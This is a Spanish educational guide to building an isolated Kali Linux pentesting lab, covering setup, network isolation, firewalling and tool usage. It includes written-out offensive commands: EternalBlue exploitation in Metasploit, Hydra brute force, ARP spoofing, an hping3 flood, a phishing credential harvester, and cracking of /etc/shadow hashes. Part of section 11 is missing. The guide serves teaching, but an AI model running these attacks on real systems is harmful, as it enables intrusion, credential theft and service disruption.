

KALI LINUX

Laboratorio Completo de Ciberseguridad

Instalación · Configuración · Herramientas · Aislamiento

Nivel: Avanzado	Módulo: GM Ciberseguridad	2024 / 2025
-----------------	---------------------------	-------------

1. Requisitos Previos y Elección de Entorno	3
VirtualBox vs VMware vs Bare Metal	
2. Descarga e Instalación de Kali Linux	4
Verificación de integridad · Configuración del instalador	
3. Aislamiento Total del Laboratorio	5
Redes internas · Host-only · Firewall de la VM	
4. Configuración Post-Instalación	6
Actualización · Usuarios · SSH · Locales	
5. Herramientas Esenciales de Reconocimiento	7
Nmap · Netdiscover · Masscan · theHarvester	
6. Análisis de Tráfico y Sniffing	8
Wireshark · tcpdump · tshark · Bettercap	
7. Explotación y Auditoría Web	9
Metasploit · Burp Suite · SQLmap · Nikto	
8. Cracking de Contraseñas	10
Hashcat · John the Ripper · Hydra · CrackMapExec	
9. OSINT y Análisis	11
Maltego · Recon-ng · Shodan CLI · Spiderfoot	
10. Servidor Apache para Prácticas	12
Instalación · Virtual hosts · HTTPS · Logs	
11. Diagnóstico y Monitorización de Red	13
ping · traceroute · ss · netstat · nslookup	
12. Seguridad: Ataques y Defensas	14
Spoofing · Sniffing · SSL/TLS · DMZ · Firewall	
13. Laboratorio de Práctica: Escenarios	15
Escenarios guiados paso a paso	
14. Scripts de Mantenimiento y Backup	16
Automatización del lab · Snapshots · Limpieza	

■ 1. Requisitos Previos y Elección de Entorno

1.1 Hardware Recomendado

Componente	Requisito	Notas
CPU	4+ núcleos (8 recomendado)	Intel i5/i7 o Ryzen 5/7
RAM	8 GB mínimo, 16 GB ideal	Para VM: 4 GB asignados a Kali
Disco	50 GB mínimo libre	SSD recomendado para rendimiento
Red	Adaptador compatible	Alfa Networks para WiFi pentesting

1.2 Elección del Entorno de Virtualización

Opción	Coste	Recomendación
VirtualBox	Gratuito, open source	■ Recomendado para estudiantes
VMware Workstation Pro	Gratuito desde 2024	■ Mejor rendimiento de red
Bare Metal	Máximo rendimiento	■ Solo si tienes PC dedicada
WSL2	Integrado en Windows	■ Limitado — sin Wireshark/GUI completa

■ **NUNCA** instales herramientas de pentesting en tu PC principal. Usa siempre una VM aislada.

1.3 Preparación de VirtualBox

```
# Descargar VirtualBox desde virtualbox.org
# Instalar Extension Pack para soporte USB 3.0 y RDP
# Configuración BIOS/UEFI necesaria:
# - Habilitar VT-x / AMD-V (virtualización por hardware)
# - Habilitar VT-d / IOMMU (para PCIe passthrough)
# - Deshabilitar Secure Boot si hay problemas
```

■ 2. Descarga e Instalación de Kali Linux

2.1 Descarga Oficial y Verificación de Integridad

Descarga siempre desde kali.org/get-kali. Verifica el hash SHA256 para garantizar que el archivo no ha sido manipulado. Esto es crítico en ciberseguridad.

```
# En Windows (PowerShell):
Get-FileHash kali-linux-2024.4-installer-amd64.iso -Algorithm SHA256

# En Linux/macOS:
sha256sum kali-linux-2024.4-installer-amd64.iso

# Comparar con el hash publicado en kali.org/get-kali
# Deben coincidir exactamente – si no, el archivo está comprometido
```

2.2 Crear la VM en VirtualBox

```
# Configuración recomendada de la VM:
Nombre: Kali-Lab-2024
Tipo: Linux / Debian (64-bit)
RAM: 4096 MB (mínimo) – 8192 MB ideal
CPU: 2 núcleos (mínimo) – 4 ideal
Disco: 80 GB dinámico (VDI)
Pantalla: 128 MB VRAM, habilitar aceleración 3D

# Adaptadores de red (MUY IMPORTANTE):
Adaptador 1: NAT # Acceso a internet para actualizaciones
Adaptador 2: Host-Only # Red interna aislada del PC principal
Adaptador 3: Red Interna # Para comunicación entre VMs del lab
```

2.3 Instalación Paso a Paso

Paso	Opción	Detalle
1	Boot desde ISO	Seleccionar 'Graphical Install' en el menú GRUB
2	Idioma y Región	Spanish / España / Español
3	Hostname	kali-lab (evita nombres personales)
4	Dominio	Dejar vacío o usar .local
5	Usuario	NO usar root como usuario principal. Crear 'kaliuser'

6	Contraseña	Mínimo 12 chars: mayúsculas + números + símbolos
7	Particionado	Guiado — disco completo — LVM cifrado (RECOMENDADO)
8	Software	Marcar: Desktop + Top 10 tools + Kali NetHunter
9	GRUB	Instalar en /dev/sda (disco principal de la VM)
10	Reinicio	Retirar ISO antes de reiniciar

■ Activa el cifrado de disco (LVM cifrado) durante la instalación. En un lab de seguridad, el cifrado es obligatorio.

■ 3. Aislamiento Total del Laboratorio

3.1 Por qué Aislar el Laboratorio

El aislamiento es CRÍTICO. Las herramientas de pentesting pueden afectar tu red doméstica, generar alertas en tu ISP, o comprometer sistemas que no son objetivo. Un laboratorio mal aislado puede tener consecuencias legales.

3.2 Configurar Red Interna en VirtualBox

```
# En VirtualBox: Archivo > Administrador de redes de host
# Crear red: vboxnet0
# IP: 192.168.56.1/24
# DHCP: Habilitado (192.168.56.100 - 192.168.56.200)
# Para la VM Kali – verificar interfaces dentro de la VM:
ip addr show
ip route show
# Verificar que el adaptador Host-Only tiene IP asignada:
ip addr show eth1 # o enp0s8 según el nombre de interfaz
```

3.3 Configurar Firewall Interno de la VM (nftables)

```
# Instalar y configurar ufw (más sencillo que nftables directo)
sudo apt install ufw -y
sudo ufw default deny incoming
sudo ufw default allow outgoing
# Permitir solo SSH desde la red del lab
sudo ufw allow from 192.168.56.0/24 to any port 22
# Habilitar firewall
sudo ufw enable
sudo ufw status verbose
# Ver reglas nftables directamente:
sudo nft list ruleset
```

3.4 Deshabilitar Compartición con el Host

```
# En VirtualBox – Configuración de la VM:  
# Carpetas compartidas: NINGUNA (eliminar todas)  
# Portapapeles: Deshabilitado  
# Arrastrar y soltar: Deshabilitado  
# Dentro de Kali – deshabilitar Guest Additions compartidas:  
sudo systemctl stop vboxadd-service  
sudo systemctl disable vboxadd-service  
# Verificar que no hay montajes del host:  
mount | grep vbox
```

■ Configura una regla en tu router doméstico para bloquear la subred de la VM (192.168.56.0/24) si usas modo Bridge. Con Host-Only ya estás aislado.

■ 4. Configuración Post-Instalación

4.1 Actualización Completa del Sistema

```
# Actualización completa — SIEMPRE lo primero
sudo apt update && sudo apt full-upgrade -y
sudo apt autoremove -y && sudo apt autoclean

# Actualizar la base de datos de exploits y herramientas
sudo msfdb update # Metasploit
sudo updatedb # base de datos de locate
sudo freshclam # ClamAV (antivirus, opcional)
```

4.2 Configuración de Usuario y Privilegios

```
# Crear usuario de trabajo (si instalaste como root)
sudo adduser pentest
sudo usermod -aG sudo pentest

# Configurar sudo sin contraseña para comandos específicos (opcional)
sudo visudo

# Añadir: pentest ALL=(ALL) NOPASSWD: /usr/bin/nmap, /usr/bin/tcpdump
# Añadir usuario a grupos necesarios
sudo usermod -aG wireshark,pcap,netdev $USER

# Recargar grupos sin cerrar sesión
newgrp wireshark
```

4.3 Instalar Metapaquetes de Kali

```
# Top 10 herramientas esenciales
sudo apt install kali-tools-top10 -y

# Suite completa de pentesting
sudo apt install kali-linux-default -y

# Herramientas de análisis de red (para esta práctica)
sudo apt install kali-tools-network-scanners -y
sudo apt install kali-tools-web -y
sudo apt install kali-tools-passwords -y
sudo apt install kali-tools-forensics -y

# Instalar herramientas individuales adicionales
sudo apt install netcat-openbsd socat proxychains4 tor -y
sudo apt install python3-pip git curl wget -y
```

4.4 Configurar SSH Seguro

```
# Generar nuevas claves SSH del servidor (regenerar las predeterminadas!)
sudo rm /etc/ssh/ssh_host_*
sudo dpkg-reconfigure openssh-server

# Editar configuración SSH
sudo nano /etc/ssh/sshd_config

# Cambios recomendados en sshd_config:
Port 2222 # Cambiar del puerto 22 por defecto
PermitRootLogin no # NUNCA permitir root por SSH
PasswordAuthentication no # Solo claves públicas
MaxAuthTries 3
LoginGraceTime 20

# Generar par de claves en el host para conectar a la VM
ssh-keygen -t ed25519 -C 'kali-lab'
ssh-copy-id -i ~/.ssh/id_ed25519.pub pentest@192.168.56.101
```

■ 5. Herramientas de Reconocimiento

5.1 Nmap — El Escáner de Puertos por Excelencia

```
# Instalación (ya incluido en Kali)
sudo apt install nmap -y

# Escaneo básico de host
nmap 192.168.56.101

# Escaneo de red completa (descubrir hosts)
nmap -sn 192.168.56.0/24

# Escaneo agresivo con detección de SO y versiones
sudo nmap -A -T4 192.168.56.101

# Escaneo de puertos específicos
nmap -p 22,80,443,8080,3306 192.168.56.101

# Escaneo de todos los puertos (65535)
sudo nmap -p- --min-rate 5000 192.168.56.101

# Escaneo sigiloso SYN (no completa la conexión)
sudo nmap -sS 192.168.56.101

# Guardar resultados en múltiples formatos
sudo nmap -A -oA /home/pentest/scan_results 192.168.56.0/24
```

5.2 Otras Herramientas de Reconocimiento

Herramienta	Comando	Descripción
Netdiscover	<code>sudo netdiscover -r 192.168.56.0/24</code>	Descubrir hosts activos con ARP
Masscan	<code>sudo masscan -p0-65535 192.168.56.0/24 --rate 1000</code>	Escáner de red rápido
theHarvester	<code>theHarvester -d dominio.com -b google</code>	Extracción de emails, subdominios
DNSrecon	<code>dnsrecon -d dominio.com</code>	Reconocimiento DNS completo
Fierce	<code>fierce --domain dominio.com</code>	Enumeración DNS y subdominios
Gobuster	<code>gobuster dir -u http://target -w /usr/share/wordlists/dirbuster/words.txt</code>	Enumeración de directorios

■ 6. Análisis de Tráfico y Sniffing

6.1 Wireshark — Captura y Análisis Visual

```
# Lanzar Wireshark (interfaz gráfica)
wireshark &

# Filtros útiles en Wireshark:
http # Todo el tráfico HTTP
tcp.port == 80 # Puerto 80
ip.addr == 192.168.56.101 # IP específica
http.request.method == POST # Capturar POSTs (credenciales en claro)
dns # Consultas DNS
tcp.flags.syn == 1 # Paquetes SYN (inicio conexión)
!(arp or icmp or dns) # Filtrar ruido

# Guardar captura
# File > Export Specified Packets > formato .pcap
```

6.2 tcpdump — Captura desde Terminal

```
# Listar interfaces disponibles
sudo tcpdump -D

# Capturar todo el tráfico de eth0
sudo tcpdump -i eth0

# Capturar y guardar en archivo .pcap
sudo tcpdump -i eth0 -w /tmp/captura.pcap

# Capturar solo tráfico HTTP
sudo tcpdump -i eth0 port 80 -A

# Capturar entre dos IPs específicas
sudo tcpdump -i eth0 host 192.168.56.1 and 192.168.56.101

# Leer archivo pcap guardado
tcpdump -r /tmp/captura.pcap

# Abrir pcap en Wireshark
wireshark /tmp/captura.pcap
```

6.3 Bettercap — MitM y Análisis Avanzado

```
# Instalar Bettercap
sudo apt install bettercap -y

# Iniciar Bettercap en interfaz de red interna
sudo bettercap -iface eth1

# Comandos básicos dentro de Bettercap:
net.probe on # Descubrir hosts en la red
net.show # Mostrar hosts descubiertos
arp.spoof on # Iniciar ARP spoofing (MitM)
net.sniff on # Capturar tráfico
net.sniff off # Detener captura
help # Ver todos los módulos disponibles

# IMPORTANTE: Usar SOLO en redes propias o de laboratorio
```

■ 7. Explotación y Auditoría Web

7.1 Metasploit Framework

```
# Inicializar base de datos de Metasploit
sudo msfdb init

# Iniciar Metasploit
msfconsole

# Comandos esenciales dentro de msfconsole:
search eternalblue # Buscar módulos
use exploit/windows/smb/ms17_010_eternalblue
show options # Ver parámetros necesarios
set RHOSTS 192.168.56.101 # IP objetivo
set LHOST 192.168.56.100 # Tu IP
run # Ejecutar el exploit

# Trabajar con sesiones
sessions -l # Listar sesiones activas
sessions -i 1 # Conectar a sesión 1

# Buscar exploits localmente
search type:exploit platform:linux
```

7.2 Herramientas de Auditoría Web

Herramienta	Comando Básico	Descripción
Burp Suite	burpsuite	Proxy HTTP, análisis de aplicaciones web
SQLmap	sqlmap -u 'http://target/page?id=1' --dbs	Detección y explotación de SQLi
Nikto	nikto -h http://192.168.56.101	Escáner de vulnerabilidades web
OWASP ZAP	zaproxy	Análisis automático de apps web
WPScan	wpscan --url http://target --enumerate	Auditoría específica WordPress
Dirb	dirb http://target /usr/share/wordlists/Dirb/	Enumeración de directorios

■ El uso de estas herramientas contra sistemas sin autorización explícita es ilegal. Úsalas solo en el laboratorio o con autorización escrita.

■ 8. Cracking de Contraseñas

8.1 Hashcat — GPU Cracking

```
# Instalar Hashcat
sudo apt install hashcat -y

# Identificar tipo de hash
hashid hash.txt
hash-identifier

# Cracking con diccionario (modo 0)
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

# Tipos de hash más comunes:
hashcat -m 0 hash.txt wordlist.txt # MD5
hashcat -m 100 hash.txt wordlist.txt # SHA1
hashcat -m 1800 hash.txt wordlist.txt # SHA512crypt (Linux /etc/shadow)
hashcat -m 1000 hash.txt wordlist.txt # NTLM (Windows)
hashcat -m 1400 hash.txt wordlist.txt # SHA256

# Ataque por fuerza bruta pura
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a?a

# Descargar wordlists adicionales
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

8.2 Hydra — Fuerza Bruta en Servicios

```
# Fuerza bruta SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101

# Fuerza bruta HTTP POST (formulario de login)
hydra -l admin -P wordlist.txt 192.168.56.101 http-post-form
'/login:username=^USER^&password;=^PASS^:Invalid credentials'

# Fuerza bruta FTP
hydra -L users.txt -P pass.txt ftp://192.168.56.101

# Fuerza bruta múltiples servicios a la vez (-t threads)
hydra -t 4 -l root -P wordlist.txt 192.168.56.101 ssh
```

■ 9. OSINT y Análisis de Información

9.1 Herramientas OSINT Principales

Herramienta	Comando	Descripción
theHarvester	theHarvester -d empresa.com -b all	Emails, subdominios, IPs públicas
Recon-ng	recon-ng	Framework modular de OSINT
Maltego CE	maltego	Análisis visual de relaciones
Shodan CLI	shodan search 'apache 2.4'	Buscar dispositivos expuestos
SpiderFoot	spiderfoot -l 127.0.0.1:5001	Automatiza OSINT en web UI
Creepy	creepy	Geolocalización desde redes sociales
Metagoofil	metagoofil -d empresa.com -t pdf	Metadatos de documentos públicos
ExifTool	exiftool imagen.jpg	Extraer metadatos de imágenes/archivos

9.2 Configurar Shodan CLI

```
# Instalar cliente de Shodan
pip3 install shodan

# Configurar API key (registro gratuito en shodan.io)
shodan init TU_API_KEY_AQUI

# Buscar servidores Apache vulnerables
shodan search 'apache 2.2' --fields ip_str,port,org

# Ver información de una IP
shodan host 8.8.8.8

# Descargar resultados
shodan download resultados 'apache 2.2 country:ES'
shodan parse --fields ip_str,port resultados.json.gz
```

■ 10. Servidor Apache para Prácticas

10.1 Instalación y Configuración Básica

```
# Instalar Apache2
sudo apt install apache2 -y

# Iniciar y habilitar en el arranque
sudo systemctl start apache2
sudo systemctl enable apache2
sudo systemctl status apache2

# Verificar puertos en uso
ss -tlnp | grep apache
netstat -tlnp | grep apache

# Estructura de directorios de Apache
/etc/apache2/ # Configuración principal
/var/www/html/ # DocumentRoot (páginas web)
/var/log/apache2/ # Logs (access.log, error.log)
/etc/apache2/sites-available/ # Virtual hosts disponibles
/etc/apache2/sites-enabled/ # Virtual hosts activos
```

10.2 Crear Página de Prueba para el Laboratorio

```
# Crear página de prueba
cat > /var/www/html/index.html << 'EOF'
Kali Linux Lab – Servidor Apache Activo
Captura este tráfico con Wireshark en puerto 80
EOF

# Verificar acceso desde la VM
curl http://localhost
curl http://192.168.56.101

# Ver logs en tiempo real (útil para la práctica)
sudo tail -f /var/log/apache2/access.log
sudo tail -f /var/log/apache2/error.log
```

10.3 Habilitar HTTPS con Certificado Autofirmado

```
# Habilitar módulo SSL
sudo a2enmod ssl

# Generar certificado autofirmado
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048
-keyout /etc/ssl/private/apache-selfsigned.key
-out /etc/ssl/certs/apache-selfsigned.crt

# Habilitar el sitio SSL por defecto
sudo a2ensite default-ssl
sudo systemctl reload apache2

# Verificar HTTPS
curl -k https://localhost # -k ignora el certificado autofirmado

# Ver el certificado
openssl x509 -in /etc/ssl/certs/apache-selfsigned.crt -text -noout
```


htop	htop	Monitor de procesos mejorado
nload	nload eth0	Gráfico de tráfico de red
vnstat	vnstat -l -i eth0	Estadísticas de red históricas
nagios	sudo apt install nagios4	Sistema de monitorización completo

```
# Instalar herramientas de monitorización
sudo apt install iftop nethogs iotop nload vnstat -y

# Ver estadísticas de red acumuladas
vnstat
vnstat -h # Por hora
vnstat -d # Por día
vnstat -m # Por mes
```

■ 12. Seguridad: Ataques y Defensas

12.1 Tipos de Ataques — Conceptos y Demostración

■ ARP Spoofing

El atacante responde a peticiones ARP haciéndose pasar por el gateway. Todo el tráfico pasa por él (MitM).

```
arp spoof -i eth1 -t 192.168.56.101 192.168.56.1
```

■ DNS Spoofing

Respuestas DNS falsas redirigen al usuario a servidores maliciosos.

```
Usar dnsspoof o ettercap con plugin dns_spoof
```

■ Sniffing

Captura pasiva de paquetes en la red.
Efectivo en redes no cifradas.

```
tcpdump -i eth1 -w captura.pcap
```

■ DoS / DDoS

Saturar un servicio con peticiones para hacerlo no disponible.

```
hping3 --flood -S -p 80 192.168.56.101
```

■ Phishing

Engañar al usuario para obtener credenciales mediante páginas falsas.

```
setoolkit > Social Engineering > Credential Harvester
```

12.2 Protocolos Seguros: SSL/TLS

```
# Analizar certificado SSL de un servidor
openssl s_client -connect google.com:443

# Ver versiones TLS soportadas
nmap --script ssl-enum-ciphers -p 443 google.com

# Verificar vulnerabilidad HEARTBLEED
nmap -sV --script=ssl-heartbleed 192.168.56.101

# Verificar configuración SSL débil
nmap -sV --script ssl-dh-params 192.168.56.101

# SSLyze – auditoría completa de SSL/TLS
sudo apt install sslyze -y
python3 -m sslyze 192.168.56.101:443
```

12.3 Arquitectura DMZ y Firewall

Una DMZ (Zona Desmilitarizada) es una subred intermedia que expone servicios públicos (web, DNS) al exterior mientras protege la red interna. En el laboratorio puedes simularla con múltiples redes internas en VirtualBox.

```
# Configurar iptables para simular un firewall básico

# Política por defecto: DROP todo
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT

# Permitir loopback
sudo iptables -A INPUT -i lo -j ACCEPT

# Permitir conexiones establecidas/relacionadas
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Permitir SSH desde red del lab
sudo iptables -A INPUT -s 192.168.56.0/24 -p tcp --dport 22 -j ACCEPT

# Permitir HTTP/HTTPS
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Guardar reglas permanentemente
sudo apt install iptables-persistent -y
sudo netfilter-persistent save
```

■ 13. Escenarios de Práctica Guiados

Escenario 1: Auditoría Básica del Servidor Apache

```
# OBJETIVO: Descubrir, escanear y analizar el servidor Apache del lab
# Paso 1: Descubrir el host
sudo netdiscover -r 192.168.56.0/24

# Paso 2: Escaneo de puertos
sudo nmap -sV -sC -p- 192.168.56.101

# Paso 3: Escaneo de vulnerabilidades web
nikto -h http://192.168.56.101

# Paso 4: Capturar tráfico HTTP mientras navegas
sudo tcpdump -i eth1 port 80 -w /tmp/http_lab.pcap &
curl http://192.168.56.101/
fg # traer tcpdump al frente y Ctrl+C para detener

# Paso 5: Analizar la captura
wireshark /tmp/http_lab.pcap
```

Escenario 2: Demostración de ARP Spoofing y Captura de Tráfico

```
# OBJETIVO: Entender cómo funciona un ataque MitM
# REQUISITO: Dos VMs en la misma red interna (Kali + Metasploitable/otra VM)
# En Kali (atacante) – Habilitar IP forwarding
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Iniciar ARP spoofing (envenenar cache ARP de la víctima)
sudo arpspoof -i eth1 -t 192.168.56.102 192.168.56.1 &
sudo arpspoof -i eth1 -t 192.168.56.1 192.168.56.102 &

# Capturar todo el tráfico que pasa por nosotros
sudo tcpdump -i eth1 host 192.168.56.102 -w /tmp/mitm.pcap

# Detener el ataque
sudo pkill arpspoof
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward
```

Escenario 3: Análisis de Contraseñas con John y Hashcat

```
# OBJETIVO: Crackear hashes del archivo /etc/shadow de una VM objetivo
# Obtener usuarios y hashes (si tienes acceso a /etc/shadow)
sudo unshadow /etc/passwd /etc/shadow > /tmp/hashes_combined.txt
# Crackear con John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hashes_combined.txt
# Ver contraseñas crackeadas
john --show /tmp/hashes_combined.txt
# Alternativa con Hashcat (más rápido con GPU)
hashcat -m 1800 /tmp/hashes_combined.txt /usr/share/wordlists/rockyou.txt
```

■ 14. Mantenimiento, Snapshots y Automatización

14.1 Script de Actualización y Limpieza

```
#!/bin/bash
# Guardar como: ~/scripts/update_lab.sh
# chmod +x ~/scripts/update_lab.sh
echo '[*] Actualizando sistema Kali...'
apt update && apt full-upgrade -y
apt autoremove -y && apt autoclean
echo '[*] Actualizando herramientas de seguridad...'
msfdb update 2>/dev/null
updatedb
echo '[*] Limpiando logs y temporales...'
rm -rf /tmp/*
journalctl --vacuum-time=7d
echo '[+] Lab actualizado correctamente'
```

14.2 Gestión de Snapshots en VirtualBox

```
# Desde línea de comandos del HOST (no la VM):
# Crear snapshot antes de una práctica peligrosa
VBoxManage snapshot 'Kali-Lab-2024' take 'Antes_Practica_5'
--description 'Estado limpio antes de exploits'
# Listar snapshots disponibles
VBoxManage snapshot 'Kali-Lab-2024' list
# Restaurar snapshot
VBoxManage snapshot 'Kali-Lab-2024' restore 'Antes_Practica_5'
# Eliminar snapshot antiguo
VBoxManage snapshot 'Kali-Lab-2024' delete 'Antes_Practica_5'
# DESDE INTERFAZ GRÁFICA: Máquina > Herramientas > Snapshots
```

14.3 Checklist de Verificación del Lab

Estado	Elemento	Verificación
■	Sistema actualizado	apt full-upgrade
■	Red Host-Only configurada	ip addr show eth1

■	Sin carpetas compartidas con el host	VirtualBox Settings
■	UFW activo	<code>sudo ufw status</code>
■	SSH con claves (sin passwords)	<code>/etc/ssh/sshd_config</code>
■	Apache corriendo para prácticas	<code>systemctl status apache2</code>
■	Wireshark sin root	<code>groups \$USER grep wireshark</code>
■	Snapshot reciente del estado base	<code>VBoxManage snapshot list</code>
■	rockyou.txt descomprimido	<code>ls /usr/share/wordlists/</code>
■	Metasploit BD inicializada	<code>msfdb status</code>

■ Crea un snapshot 'Base Limpia' cuando el lab esté perfectamente configurado. Restaura siempre a este estado antes de empezar cada práctica nueva.

■ **AVISO LEGAL Y ÉTICO** Todas las herramientas y técnicas descritas en este documento son para uso EXCLUSIVAMENTE educativo y en entornos de laboratorio controlados. El uso de estas herramientas contra sistemas, redes o personas sin autorización explícita y por escrito es ILEGAL y puede conllevar responsabilidades penales. Practica siempre de forma ética y legal.